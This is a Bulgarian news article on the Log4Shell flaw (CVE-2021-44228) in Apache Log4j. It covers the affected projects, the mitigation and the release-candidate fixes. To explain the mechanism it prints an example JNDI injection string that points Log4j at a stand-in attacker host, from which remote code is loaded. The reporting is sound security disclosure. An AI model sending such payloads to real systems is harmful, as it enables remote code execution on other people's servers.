Катастрофална уязвимост в Apache Log4j, засягаща много Java проекти

В Apache Log4j, популярната библиотека за логиране в Java приложения, е открита критична уязвимост, която позволява изпълнение на произволен код при запис на специално форматиран низ във формат "{jndi:URL}". Атаката може да бъде извършена срещу Java приложения, които логват стойности, получени от външни източници, например, при показване на проблемни стойности в съобщения за грешки.

Отбелязва се, че проблемът засяга почти всички проекти, използващи рамки като Apache Struts, Apache Solr, Apache Druid или Apache Flink, включително Steam, Apple iCloud, клиентите и сървърите на играта Minecraft. Очаква се уязвимостта да доведе до вълна от масови атаки срещу корпоративни приложения, повтаряйки историята на критичните уязвимости в рамката Apache Struts, която приблизително се използва в уеб приложенията на 65% от компаниите в списъка Fortune 100. Вече са регистрирани опити за сканиране на мрежата за уязвими системи.

Проблемът се усложнява от факта, че вече е публикуван работещ експлойт, но корекции за стабилните версии в момента не са формулирани. CVE идентификатор все още не е присвоен. Корекцията е включена само в тестовата версия log4j-2.15.0-rc1. Като временно решение за блокиране на уязвимостта, се препоръчва да се зададе параметърът log4j2.formatMsgNoLookups на стойност true.

Проблемът е причинен от факта, че log4j поддържа обработка на специални маски "{}" в логовите низове, в които могат да бъдат извършвани JNDI (Java Naming and Directory Interface) запитвания. Атаката се свежда до предаване на низ с подмяна "${jndi:ldap://attacker.com/a}", при обработката на който log4j ще изпрати на сървър attacker.com LDAP запитване за пътя към Java класа. Върнатият сървър път на нападателя (например, http://second-stage.attacker.com/Exploit.class) ще бъде зареден и изпълнен в контекста на текущия процес, което позволява на нападателя да постигне изпълнение на произволен код в системата с правата на текущото приложение.

Допълнение 1: Уязвимостта е присвоена идентификатор CVE-2021-44228.

Допълнение 2: Открит е начин за заобикаляне на защитата, добавена с версията log4j-2.15.0-rc1. Предложено е ново обновление log4j-2.15.0-rc2 с по-пълна защита от уязвимостта. В кода е отбелязано изменение, свързано с липсата на аварийно завършване в случай на използване на некоректно форматиран JNDI URL.

Източник: opennet.ru

Купете надежден хостинг за сайтове със защита от DDoS, VPS и VDS сървъри 🔥 Купете надежден хостинг за сайтове със защита от DDoS, VPS и VDS сървъри | ProHoster